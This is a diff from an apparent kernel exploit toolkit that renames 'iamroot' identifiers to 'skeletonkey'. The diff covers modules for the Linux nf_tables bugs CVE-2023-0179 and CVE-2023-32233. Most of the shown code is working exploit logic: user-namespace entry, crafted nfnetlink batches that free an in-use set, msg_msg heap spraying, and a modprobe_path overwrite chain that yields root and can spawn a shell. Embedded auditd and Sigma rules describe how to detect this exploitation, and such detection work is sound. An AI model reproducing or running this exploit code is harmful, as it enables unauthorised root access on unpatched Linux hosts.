||||||
iamroot_result_t pre = nft_payload_detect(ctx);
|
skeletonkey_result_t pre = nft_payload_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] nft_payload: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] nft_payload: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
@@ -841,35 +841,35 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
|||||||
#ifndef __linux__
|
#ifndef __linux__
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
fprintf(stderr, "[-] nft_payload: linux-only exploit; non-linux build\n");
|
fprintf(stderr, "[-] nft_payload: linux-only exploit; non-linux build\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
#else
|
#else
|
||||||
/* --- --full-chain path: resolve offsets in parent before doing
|
/* --- --full-chain path: resolve offsets in parent before doing
|
||||||
* anything destructive. */
|
* anything destructive. */
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
struct iamroot_kernel_offsets off;
|
struct skeletonkey_kernel_offsets off;
|
||||||
memset(&off, 0, sizeof off);
|
memset(&off, 0, sizeof off);
|
||||||
iamroot_offsets_resolve(&off);
|
skeletonkey_offsets_resolve(&off);
|
||||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||||
iamroot_finisher_print_offset_help("nft_payload");
|
skeletonkey_finisher_print_offset_help("nft_payload");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
iamroot_offsets_print(&off);
|
skeletonkey_offsets_print(&off);
|
||||||
|
|
||||||
if (enter_unpriv_namespaces() < 0) {
|
if (enter_unpriv_namespaces() < 0) {
|
||||||
fprintf(stderr, "[-] nft_payload: userns entry failed\n");
|
fprintf(stderr, "[-] nft_payload: userns entry failed\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC,
|
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC,
|
||||||
NETLINK_NETFILTER);
|
NETLINK_NETFILTER);
|
||||||
if (sock < 0) {
|
if (sock < 0) {
|
||||||
perror("[-] socket(NETLINK_NETFILTER)");
|
perror("[-] socket(NETLINK_NETFILTER)");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||||
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||||
perror("[-] bind"); close(sock);
|
perror("[-] bind"); close(sock);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
int rcvbuf = 1 << 20;
|
int rcvbuf = 1 << 20;
|
||||||
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||||
@@ -887,7 +887,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
|||||||
}
|
}
|
||||||
|
|
||||||
uint8_t *batch = calloc(1, 16 * 1024);
|
uint8_t *batch = calloc(1, 16 * 1024);
|
||||||
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
|
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||||
|
|
||||||
uint32_t seq = (uint32_t)time(NULL);
|
uint32_t seq = (uint32_t)time(NULL);
|
||||||
size_t blen = build_trigger_batch(batch, 16 * 1024, &seq,
|
size_t blen = build_trigger_batch(batch, 16 * 1024, &seq,
|
||||||
@@ -901,7 +901,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
|||||||
drain_queues(qids_small, SPRAY_QUEUES_SMALL);
|
drain_queues(qids_small, SPRAY_QUEUES_SMALL);
|
||||||
drain_queues(qids_large, SPRAY_QUEUES_LARGE);
|
drain_queues(qids_large, SPRAY_QUEUES_LARGE);
|
||||||
free(batch); close(sock);
|
free(batch); close(sock);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
struct nft_payload_arb_ctx ac = {
|
struct nft_payload_arb_ctx ac = {
|
||||||
@@ -917,10 +917,10 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
|||||||
.arb_calls = 0,
|
.arb_calls = 0,
|
||||||
};
|
};
|
||||||
|
|
||||||
iamroot_result_t r = iamroot_finisher_modprobe_path(
|
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(
|
||||||
&off, nft_payload_arb_write, &ac, !ctx->no_shell);
|
&off, nft_payload_arb_write, &ac, !ctx->no_shell);
|
||||||
|
|
||||||
FILE *fl = fopen("/tmp/iamroot-nft_payload.log", "a");
|
FILE *fl = fopen("/tmp/skeletonkey-nft_payload.log", "a");
|
||||||
if (fl) {
|
if (fl) {
|
||||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d "
|
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d "
|
||||||
"spray_small=%d spray_large=%d\n",
|
"spray_small=%d spray_large=%d\n",
|
||||||
@@ -936,9 +936,9 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* --- primitive-only path: fork-isolated trigger so a kernel oops
|
/* --- primitive-only path: fork-isolated trigger so a kernel oops
|
||||||
* doesn't take down the iamroot driver. */
|
* doesn't take down the skeletonkey driver. */
|
||||||
pid_t child = fork();
|
pid_t child = fork();
|
||||||
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
|
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
|
||||||
if (child == 0) {
|
if (child == 0) {
|
||||||
/* --- CHILD --- */
|
/* --- CHILD --- */
|
||||||
@@ -1016,7 +1016,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
|||||||
pre_96, post_96);
|
pre_96, post_96);
|
||||||
}
|
}
|
||||||
|
|
||||||
FILE *log = fopen("/tmp/iamroot-nft_payload.log", "w");
|
FILE *log = fopen("/tmp/skeletonkey-nft_payload.log", "w");
|
||||||
if (log) {
|
if (log) {
|
||||||
fprintf(log,
|
fprintf(log,
|
||||||
"nft_payload trigger child: spray_small=%d spray_large=%d "
|
"nft_payload trigger child: spray_small=%d spray_large=%d "
|
||||||
@@ -1048,7 +1048,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
|||||||
"likely fired (KASAN/oops can manifest as child "
|
"likely fired (KASAN/oops can manifest as child "
|
||||||
"signal)\n", WTERMSIG(status));
|
"signal)\n", WTERMSIG(status));
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
int rc = WEXITSTATUS(status);
|
int rc = WEXITSTATUS(status);
|
||||||
@@ -1061,19 +1061,19 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
|||||||
" Davide Ornaghi's payload-set + regs->data\n"
|
" Davide Ornaghi's payload-set + regs->data\n"
|
||||||
" arb-write + modprobe_path overwrite chain.\n");
|
" arb-write + modprobe_path overwrite chain.\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
if (rc >= 20 && rc <= 24) {
|
if (rc >= 20 && rc <= 24) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] nft_payload: trigger setup failed (child rc=%d)\n",
|
fprintf(stderr, "[-] nft_payload: trigger setup failed (child rc=%d)\n",
|
||||||
rc);
|
rc);
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] nft_payload: unexpected child rc=%d\n", rc);
|
fprintf(stderr, "[-] nft_payload: unexpected child rc=%d\n", rc);
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
#endif /* __linux__ */
|
#endif /* __linux__ */
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1081,15 +1081,15 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* Cleanup.
|
* Cleanup.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
static iamroot_result_t nft_payload_cleanup(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t nft_payload_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] nft_payload: tearing down log\n");
|
fprintf(stderr, "[*] nft_payload: tearing down log\n");
|
||||||
}
|
}
|
||||||
if (unlink("/tmp/iamroot-nft_payload.log") < 0 && errno != ENOENT) {
|
if (unlink("/tmp/skeletonkey-nft_payload.log") < 0 && errno != ENOENT) {
|
||||||
/* ignore */
|
/* ignore */
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
@@ -1101,16 +1101,16 @@ static const char nft_payload_auditd[] =
|
|||||||
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by NETLINK_NETFILTER\n"
|
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by NETLINK_NETFILTER\n"
|
||||||
"# socket setup. Canonical exploit shape: unprivileged userns + nft\n"
|
"# socket setup. Canonical exploit shape: unprivileged userns + nft\n"
|
||||||
"# rule loading. False positives: firewalld, docker/podman rootless.\n"
|
"# rule loading. False positives: firewalld, docker/podman rootless.\n"
|
||||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft-payload-userns\n"
|
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-payload-userns\n"
|
||||||
"-a always,exit -F arch=b32 -S unshare -k iamroot-nft-payload-userns\n"
|
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nft-payload-userns\n"
|
||||||
"# Watch for the canonical post-exploit primitive: setresuid(0,0,0)\n"
|
"# Watch for the canonical post-exploit primitive: setresuid(0,0,0)\n"
|
||||||
"# from a previously-unpriv task is the smoking gun for any kernel LPE.\n"
|
"# from a previously-unpriv task is the smoking gun for any kernel LPE.\n"
|
||||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 "
|
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 "
|
||||||
"-k iamroot-nft-payload-priv\n";
|
"-k skeletonkey-nft-payload-priv\n";
|
||||||
|
|
||||||
static const char nft_payload_sigma[] =
|
static const char nft_payload_sigma[] =
|
||||||
"title: Possible CVE-2023-0179 nft_payload regset-OOB exploitation\n"
|
"title: Possible CVE-2023-0179 nft_payload regset-OOB exploitation\n"
|
||||||
"id: c83d6e92-iamroot-nft-payload\n"
|
"id: c83d6e92-skeletonkey-nft-payload\n"
|
||||||
"status: experimental\n"
|
"status: experimental\n"
|
||||||
"description: |\n"
|
"description: |\n"
|
||||||
" Detects the canonical exploit shape for CVE-2023-0179: an\n"
|
" Detects the canonical exploit shape for CVE-2023-0179: an\n"
|
||||||
@@ -1134,7 +1134,7 @@ static const char nft_payload_sigma[] =
|
|||||||
"level: high\n"
|
"level: high\n"
|
||||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.0179]\n";
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.0179]\n";
|
||||||
|
|
||||||
const struct iamroot_module nft_payload_module = {
|
const struct skeletonkey_module nft_payload_module = {
|
||||||
.name = "nft_payload",
|
.name = "nft_payload",
|
||||||
.cve = "CVE-2023-0179",
|
.cve = "CVE-2023-0179",
|
||||||
.summary = "nft_payload set-id regset OOB R/W (Davide Ornaghi) → kernel R/W",
|
.summary = "nft_payload set-id regset OOB R/W (Davide Ornaghi) → kernel R/W",
|
||||||
@@ -1151,7 +1151,7 @@ const struct iamroot_module nft_payload_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_nft_payload(void)
|
void skeletonkey_register_nft_payload(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&nft_payload_module);
|
skeletonkey_register(&nft_payload_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* nft_payload_cve_2023_0179 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef NFT_PAYLOAD_SKELETONKEY_MODULES_H
|
||||||
|
#define NFT_PAYLOAD_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module nft_payload_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -20,12 +20,12 @@ Upstream fix: mainline 6.4-rc4 (commit `c1592a89942e9`, May 2023).
|
|||||||
Branch backports: 6.3.2 / 6.2.15 / 6.1.28 / 5.15.111 / 5.10.180 /
|
Branch backports: 6.3.2 / 6.2.15 / 6.1.28 / 5.15.111 / 5.10.180 /
|
||||||
5.4.243 / 4.19.283.
|
5.4.243 / 4.19.283.
|
||||||
|
|
||||||
## IAMROOT role
|
## SKELETONKEY role
|
||||||
|
|
||||||
Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN (base, LOCAL_OUT
|
Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN (base, LOCAL_OUT
|
||||||
hook) → NEWSET (ANON|EVAL|CONSTANT) → NEWRULE (nft_lookup
|
hook) → NEWSET (ANON|EVAL|CONSTANT) → NEWRULE (nft_lookup
|
||||||
referencing the set by `NFTA_LOOKUP_SET_ID`) → DELSET → DELRULE
|
referencing the set by `NFTA_LOOKUP_SET_ID`) → DELSET → DELRULE
|
||||||
in the same transaction. msg_msg cg-512 spray with `IAMROOT_SET`
|
in the same transaction. msg_msg cg-512 spray with `SKELETONKEY_SET`
|
||||||
tags.
|
tags.
|
||||||
|
|
||||||
`--full-chain` forges a freed-set with `set->data = kaddr` at the
|
`--full-chain` forges a freed-set with `set->data = kaddr` at the
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* nft_set_uaf_cve_2023_32233 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef NFT_SET_UAF_IAMROOT_MODULES_H
|
|
||||||
#define NFT_SET_UAF_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module nft_set_uaf_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+67
-67
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* nft_set_uaf_cve_2023_32233 — IAMROOT module
|
* nft_set_uaf_cve_2023_32233 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* nf_tables anonymous-set UAF (Sondej + Krysiuk, May 2023). When an
|
* nf_tables anonymous-set UAF (Sondej + Krysiuk, May 2023). When an
|
||||||
* anonymous `nft_set` referenced by an `nft_lookup` expression inside a
|
* anonymous `nft_set` referenced by an `nft_lookup` expression inside a
|
||||||
@@ -16,11 +16,11 @@
|
|||||||
* batch construction (table → base chain → anonymous set → rule
|
* batch construction (table → base chain → anonymous set → rule
|
||||||
* with nft_lookup → DELSET → DELRULE) committed in a single batch,
|
* with nft_lookup → DELSET → DELRULE) committed in a single batch,
|
||||||
* msg_msg cross-cache groom for kmalloc-cg-512 (32×16 messages
|
* msg_msg cross-cache groom for kmalloc-cg-512 (32×16 messages
|
||||||
* tagged "IAMROOT_SET"), slabinfo snapshot before/after, and a
|
* tagged "SKELETONKEY_SET"), slabinfo snapshot before/after, and a
|
||||||
* /tmp/iamroot-nft_set_uaf.log breadcrumb. Returns
|
* /tmp/skeletonkey-nft_set_uaf.log breadcrumb. Returns
|
||||||
* IAMROOT_EXPLOIT_FAIL after the primitive fires (honest scope).
|
* SKELETONKEY_EXPLOIT_FAIL after the primitive fires (honest scope).
|
||||||
* - With --full-chain: resolve kernel offsets; if no modprobe_path,
|
* - With --full-chain: resolve kernel offsets; if no modprobe_path,
|
||||||
* refuse via iamroot_finisher_print_offset_help. Otherwise re-fire
|
* refuse via skeletonkey_finisher_print_offset_help. Otherwise re-fire
|
||||||
* the trigger and spray msg_msg payloads forging a freed-set-object
|
* the trigger and spray msg_msg payloads forging a freed-set-object
|
||||||
* whose data pointer points at modprobe_path, then drive
|
* whose data pointer points at modprobe_path, then drive
|
||||||
* NFT_MSG_NEWSETELEM with our payload. FALLBACK-depth: the exact
|
* NFT_MSG_NEWSETELEM with our payload. FALLBACK-depth: the exact
|
||||||
@@ -47,7 +47,7 @@
|
|||||||
* - Crusaders-of-Rust follow-up writeup
|
* - Crusaders-of-Rust follow-up writeup
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
|
|
||||||
@@ -142,16 +142,16 @@ static bool nf_tables_loaded(void)
|
|||||||
}
|
}
|
||||||
#endif /* __linux__ */
|
#endif /* __linux__ */
|
||||||
|
|
||||||
static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t nft_set_uaf_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
#ifndef __linux__
|
#ifndef __linux__
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
#else
|
#else
|
||||||
struct kernel_version v;
|
struct kernel_version v;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!kernel_version_current(&v)) {
|
||||||
fprintf(stderr, "[!] nft_set_uaf: could not parse kernel version\n");
|
fprintf(stderr, "[!] nft_set_uaf: could not parse kernel version\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug introduced in 5.1 (anonymous-set support). Anything below
|
/* Bug introduced in 5.1 (anonymous-set support). Anything below
|
||||||
@@ -161,7 +161,7 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[i] nft_set_uaf: kernel %s predates the bug "
|
fprintf(stderr, "[i] nft_set_uaf: kernel %s predates the bug "
|
||||||
"(anonymous-set support landed in 5.1)\n", v.release);
|
"(anonymous-set support landed in 5.1)\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&nft_set_uaf_range, &v);
|
bool patched = kernel_range_is_patched(&nft_set_uaf_range, &v);
|
||||||
@@ -169,7 +169,7 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] nft_set_uaf: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] nft_set_uaf: kernel %s is patched\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns();
|
int userns_ok = can_unshare_userns();
|
||||||
@@ -193,14 +193,14 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[i] nft_set_uaf: still patch the kernel — a root "
|
fprintf(stderr, "[i] nft_set_uaf: still patch the kernel — a root "
|
||||||
"attacker can still trigger the bug\n");
|
"attacker can still trigger the bug\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] nft_set_uaf: VULNERABLE — kernel in range AND "
|
fprintf(stderr, "[!] nft_set_uaf: VULNERABLE — kernel in range AND "
|
||||||
"user_ns clone allowed\n");
|
"user_ns clone allowed\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -317,8 +317,8 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
|||||||
* Ruleset: anonymous-set UAF trigger.
|
* Ruleset: anonymous-set UAF trigger.
|
||||||
*
|
*
|
||||||
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
|
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
|
||||||
* 2. NFT_MSG_NEWTABLE "iamroot_t" inet
|
* 2. NFT_MSG_NEWTABLE "skeletonkey_t" inet
|
||||||
* 3. NFT_MSG_NEWCHAIN "iamroot_c" base, NF_INET_LOCAL_OUT hook
|
* 3. NFT_MSG_NEWCHAIN "skeletonkey_c" base, NF_INET_LOCAL_OUT hook
|
||||||
* 4. NFT_MSG_NEWSET anonymous flags = ANONYMOUS|CONSTANT|EVAL
|
* 4. NFT_MSG_NEWSET anonymous flags = ANONYMOUS|CONSTANT|EVAL
|
||||||
* 5. NFT_MSG_NEWRULE nft_lookup references the anonymous set
|
* 5. NFT_MSG_NEWRULE nft_lookup references the anonymous set
|
||||||
* 6. NFT_MSG_DELSET delete the set in the same batch
|
* 6. NFT_MSG_DELSET delete the set in the same batch
|
||||||
@@ -331,13 +331,13 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
|||||||
* UAF on commit-time set cleanup.
|
* UAF on commit-time set cleanup.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
static const char NFT_TABLE_NAME[] = "iamroot_t";
|
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
|
||||||
static const char NFT_CHAIN_NAME[] = "iamroot_c";
|
static const char NFT_CHAIN_NAME[] = "skeletonkey_c";
|
||||||
static const char NFT_SET_NAME[] = "iamroot_s"; /* fixed-name placeholder;
|
static const char NFT_SET_NAME[] = "skeletonkey_s"; /* fixed-name placeholder;
|
||||||
* anonymous flag still set */
|
* anonymous flag still set */
|
||||||
static const char NFT_RULE_HANDLE_ATTR[] = "iamroot_r";
|
static const char NFT_RULE_HANDLE_ATTR[] = "skeletonkey_r";
|
||||||
|
|
||||||
#define IAMROOT_SET_ID 0x42424242
|
#define SKELETONKEY_SET_ID 0x42424242
|
||||||
|
|
||||||
static void put_batch_marker(uint8_t *buf, size_t *off, uint16_t type, uint32_t seq)
|
static void put_batch_marker(uint8_t *buf, size_t *off, uint16_t type, uint32_t seq)
|
||||||
{
|
{
|
||||||
@@ -407,14 +407,14 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq)
|
|||||||
NFT_SET_ANONYMOUS | NFT_SET_CONSTANT | NFT_SET_EVAL);
|
NFT_SET_ANONYMOUS | NFT_SET_CONSTANT | NFT_SET_EVAL);
|
||||||
put_attr_u32(buf, off, NFTA_SET_KEY_TYPE, 0); /* "integer" */
|
put_attr_u32(buf, off, NFTA_SET_KEY_TYPE, 0); /* "integer" */
|
||||||
put_attr_u32(buf, off, NFTA_SET_KEY_LEN, sizeof(uint32_t));
|
put_attr_u32(buf, off, NFTA_SET_KEY_LEN, sizeof(uint32_t));
|
||||||
put_attr_u32(buf, off, NFTA_SET_ID, IAMROOT_SET_ID);
|
put_attr_u32(buf, off, NFTA_SET_ID, SKELETONKEY_SET_ID);
|
||||||
end_msg(buf, off, at);
|
end_msg(buf, off, at);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* NFT_MSG_NEWRULE: a single nft_lookup expression that references the
|
/* NFT_MSG_NEWRULE: a single nft_lookup expression that references the
|
||||||
* anonymous set. The expression list contains one NFTA_LIST_ELEM whose
|
* anonymous set. The expression list contains one NFTA_LIST_ELEM whose
|
||||||
* NFTA_EXPR_NAME = "lookup" and NFTA_EXPR_DATA.{ NFTA_LOOKUP_SREG=1,
|
* NFTA_EXPR_NAME = "lookup" and NFTA_EXPR_DATA.{ NFTA_LOOKUP_SREG=1,
|
||||||
* NFTA_LOOKUP_SET_ID=IAMROOT_SET_ID }.
|
* NFTA_LOOKUP_SET_ID=SKELETONKEY_SET_ID }.
|
||||||
*/
|
*/
|
||||||
static void put_new_rule_with_lookup(uint8_t *buf, size_t *off, uint32_t seq)
|
static void put_new_rule_with_lookup(uint8_t *buf, size_t *off, uint32_t seq)
|
||||||
{
|
{
|
||||||
@@ -432,7 +432,7 @@ static void put_new_rule_with_lookup(uint8_t *buf, size_t *off, uint32_t seq)
|
|||||||
/* lookup expr attrs: source register, target set (by ID), no flags */
|
/* lookup expr attrs: source register, target set (by ID), no flags */
|
||||||
put_attr_u32(buf, off, NFTA_LOOKUP_SREG, 1 /* NFT_REG_1 */);
|
put_attr_u32(buf, off, NFTA_LOOKUP_SREG, 1 /* NFT_REG_1 */);
|
||||||
put_attr_str(buf, off, NFTA_LOOKUP_SET, NFT_SET_NAME);
|
put_attr_str(buf, off, NFTA_LOOKUP_SET, NFT_SET_NAME);
|
||||||
put_attr_u32(buf, off, NFTA_LOOKUP_SET_ID, IAMROOT_SET_ID);
|
put_attr_u32(buf, off, NFTA_LOOKUP_SET_ID, SKELETONKEY_SET_ID);
|
||||||
end_nest(buf, off, edata_at);
|
end_nest(buf, off, edata_at);
|
||||||
end_nest(buf, off, el_at);
|
end_nest(buf, off, el_at);
|
||||||
end_nest(buf, off, exprs_at);
|
end_nest(buf, off, exprs_at);
|
||||||
@@ -510,13 +510,13 @@ static int nft_send_batch(int sock, const void *buf, size_t len)
|
|||||||
* The freed nft_set object lives in kmalloc-cg-512 on lts-6.1.x and
|
* The freed nft_set object lives in kmalloc-cg-512 on lts-6.1.x and
|
||||||
* 6.2.x builds (nft_set is ~448 bytes incl. ops vtable pointer +
|
* 6.2.x builds (nft_set is ~448 bytes incl. ops vtable pointer +
|
||||||
* pcpu data, rounds to cg-512). We spray 32 queues × 16 messages
|
* pcpu data, rounds to cg-512). We spray 32 queues × 16 messages
|
||||||
* tagged with the "IAMROOT_SET" prefix so KASAN/triage can correlate.
|
* tagged with the "SKELETONKEY_SET" prefix so KASAN/triage can correlate.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
#define SPRAY_QUEUES 32
|
#define SPRAY_QUEUES 32
|
||||||
#define SPRAY_MSGS_PER_QUEUE 16
|
#define SPRAY_MSGS_PER_QUEUE 16
|
||||||
#define MSG_PAYLOAD_BYTES 496 /* 512 - sizeof(msg_msg hdr ~= 16) */
|
#define MSG_PAYLOAD_BYTES 496 /* 512 - sizeof(msg_msg hdr ~= 16) */
|
||||||
#define IAMROOT_TAG "IAMROOT_SET"
|
#define SKELETONKEY_TAG "SKELETONKEY_SET"
|
||||||
|
|
||||||
struct ipc_payload {
|
struct ipc_payload {
|
||||||
long mtype;
|
long mtype;
|
||||||
@@ -530,7 +530,7 @@ static int spray_msg_msg(int queues[SPRAY_QUEUES])
|
|||||||
p.mtype = 0x53; /* 'S' for "set" */
|
p.mtype = 0x53; /* 'S' for "set" */
|
||||||
memset(p.buf, 0x53, sizeof p.buf);
|
memset(p.buf, 0x53, sizeof p.buf);
|
||||||
/* recognizable cookie at the head of every message */
|
/* recognizable cookie at the head of every message */
|
||||||
memcpy(p.buf, IAMROOT_TAG, sizeof IAMROOT_TAG - 1);
|
memcpy(p.buf, SKELETONKEY_TAG, sizeof SKELETONKEY_TAG - 1);
|
||||||
|
|
||||||
int created = 0;
|
int created = 0;
|
||||||
for (int i = 0; i < SPRAY_QUEUES; i++) {
|
for (int i = 0; i < SPRAY_QUEUES; i++) {
|
||||||
@@ -604,14 +604,14 @@ static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq)
|
|||||||
|
|
||||||
static void log_breadcrumb(long before, long after, int sprayed)
|
static void log_breadcrumb(long before, long after, int sprayed)
|
||||||
{
|
{
|
||||||
FILE *f = fopen("/tmp/iamroot-nft_set_uaf.log", "a");
|
FILE *f = fopen("/tmp/skeletonkey-nft_set_uaf.log", "a");
|
||||||
if (!f) return;
|
if (!f) return;
|
||||||
